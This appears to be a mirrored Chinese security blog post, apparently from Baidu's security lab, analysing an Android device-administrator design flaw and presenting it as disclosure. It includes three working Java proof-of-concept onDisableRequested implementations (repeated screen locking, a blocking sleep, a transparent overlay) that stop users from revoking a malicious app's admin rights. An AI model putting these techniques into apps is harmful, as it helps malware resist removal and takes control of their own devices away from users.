zoukankan      html  css  js  c++  java
  • Android设备管理器漏洞2--禁止用户取消激活设备管理器

       2013年6月,俄罗斯安全厂商卡巴斯基发现了史上最强手机木马-Obad.A。该木马利用了一个未知的Android设备管理器漏洞(ANDROID-9067882),已激活设备管理器权限的手机木马利用该漏洞,能够在设置程序的设备管理器列表中隐藏,这样用户就无法通过正常途径取消该手机木马的设备管理器权限。从而达到无法卸载的目的。Android4.2版本号以上系统已经修复该漏洞。(漏洞详情:http://blog.csdn.net/androidsecurity/article/details/9124747)


       日前。百度安全实验室发现手机木马開始利用还有一新的Android设备管理器漏洞,新的设备管理器漏洞是由于Android系统在取消激活设备管理器流程的设计缺陷引起的。恶意软件利用该设计缺陷。能够阻止用户取消激活设备管理器,进而达到反卸载的目的。

    该漏洞存在于Android系统全部版本号。


    一、取消激活设备管理器源码分析


          Android取消激活设备管理器流程源码:


     

     

          Android取消激活设备管理器基本流程图:


     


            1、ActivityManagerNative.getDefault().stopAppSwitch()方法功能


                 为什么第一步就调用该函数呢?通过源码凝视能够看出调用该函数目的是:禁止其他程序在用户取消设备管理器操作过程弹出Dialog,影响用户操作。


            stopAppSwitch()源码例如以下图所看到的:


     


             通过代码我们发现该方法的详细实现是:

              规定在APP_SWITCH_DELAY_TIME时间内禁止进行Activity切换。

    该方法调用后,全部应用的Activity调用请求会被系统放到挂起的请求队列中。

    被挂起的Activity调用请求会在APP_SWITCH_DELAY_TIME时间后才会被系统运行。

     

            通过调用stopAppSwitch()方法,系统保证在进入取消设备管理器界面后,5秒内不会进行Activity的切换。

     

    二、漏洞原理分析


          通过以上流程我们发现。在第8步设备管理器调用

          DevicePolicyManagerService.removeActiveAdmin()取消激活设备管理器之前,DevicePolicyManagerService会调用应用的onDisableRequested方法获取取消激活的警示信息。

    假设onDisableRequested函数返回内容为空的,第8步就会自己主动运行;假设onDisableRequested函数返回内容不能为空。会弹出Dialog显示返回的警示信息。提示用户是否取消激活。用户点击确认后才会运行第8步。


         怎样阻止流程运行到第8步呢?

         onDisableRequested是唯一在流程第8步之前被调用的函数。为了阻止流程走到第8步,onDisableRequested函数满足下面条件就可以:

        1、返回内容不能为空。这样才干够使设备管理器弹出取消激活设备管理器警示信息  Dialog。

        2、通过Activity切换的方式使设备管理器弹出的警示信息Dialog消失。使用户无法操作Dialog。

         假设做到以上两点,程序就可以成功阻止用户取消激活设备管理器操作。

     

    三、漏洞利用方法


          下面提出三种能够利用该流程设计缺陷,成功阻止用户取消设备管理器的方法。


         1、通过锁屏方式

      

    1. @Override  
    2. public CharSequence onDisableRequested(Context context, Intent intent) {  
    3.     // TODO Auto-generated method stub  
    4.         Intent intent1 = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");  
    5.         intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  
    6.     context.startActivity(intent1);  
    7.        final DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);  
    8.        dpm.lockNow();  
    9.        new Thread(new Runnable() {            
    10.         @Override  
    11.         public void run() {  
    12.             int i = 0;  
    13.             while(i<70){  
    14.                 dpm.lockNow();  
    15.                 try {  
    16.                     Thread.sleep(100);  
    17.                     i++;  
    18.                 } catch (InterruptedException e) {  
    19.                     e.printStackTrace();  
    20.                 }  
    21.             }  
    22.         }  
    23.     }).start();  
    24.     return "This is a onDisableRequested response message";  
    25. }  

     

          2、通过堵塞函数返回方式

     

    1. @Override  
    2. public CharSequence onDisableRequested(Context context, Intent intent) {  
    3.     // TODO Auto-generated method stub  
    4.         Intent intent1 = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");  
    5.         intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  
    6.     context.startActivity(intent1);  
    7.        try {  
    8.         Thread.sleep(7000);  
    9.     } catch (InterruptedException e) {  
    10.         e.printStackTrace();  
    11.     }  
    12.     return "This is a onDisableRequested response message";  
    13. }  


        3、通过透明窗体劫持方式

    1. @Override  
    2. public CharSequence onDisableRequested(Context context, Intent intent) {  
    3.     // TODO Auto-generated method stub  
    4.         Intent intent1 = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");  
    5.         intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  
    6.     context.startActivity(intent1);  
    7.     WindowManager.LayoutParams wmParams;  
    8.     final WindowManager mWindowManager;  
    9.     wmParams = new WindowManager.LayoutParams();  
    10.     mWindowManager = (WindowManager)context.getSystemService(Context.WINDOW_SERVICE);  
    11.     wmParams.type = WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;   
    12.        wmParams.format = PixelFormat.RGBX_8888;   
    13.        wmParams.flags = WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;        
    14.        wmParams.gravity = Gravity.LEFT | Gravity.TOP;  
    15.        wmParams.alpha = 0;  
    16.        wmParams.x = 0;  
    17.        wmParams.y = 0;  
    18.        wmParams.width = WindowManager.LayoutParams.MATCH_PARENT;  
    19.        wmParams.height = WindowManager.LayoutParams.MATCH_PARENT;  
    20.        final View contentView = new Button(context);  
    21.        mWindowManager.addView(contentView, wmParams);  
    22.        new Thread(new Runnable() {            
    23.         @Override  
    24.         public void run() {  
    25.             try {  
    26.                 Thread.sleep(7000);  
    27.             } catch (InterruptedException e) {  
    28.                 // TODO Auto-generated catch block  
    29.                 e.printStackTrace();  
    30.             }  
    31.             mWindowManager.removeView(contentView);  
    32.         }  
    33.     }).start();  
    34.     return "This is a onDisableRequested response message";  
    35. }  

       以上方法都会在onDisableRequested中,採用不同模式使用户能够5无法操作秒内接口。因为5秒Activity系统切换请求将被执行。

    版权声明:本文博客原创文章,博客,未经同意,不得转载。

  • 相关阅读:
    局部人物磨皮(二)
    可选颜色--六中色调的调整(二)
    可选颜色--六中色调的调整(一)
    通道混合器
    系统提权
    在NSObject类中,和继承它的类中,弹出UIAlertcontroller和push、present到其它界面
    oc中代理的简单运用
    单击和双击手势冲突的解决,取消页面所有手势
    iOS中主题切换模拟
    iOS 中各种手势的用法
  • 原文地址:https://www.cnblogs.com/hrhguanli/p/4652502.html
Copyright © 2011-2022 走看看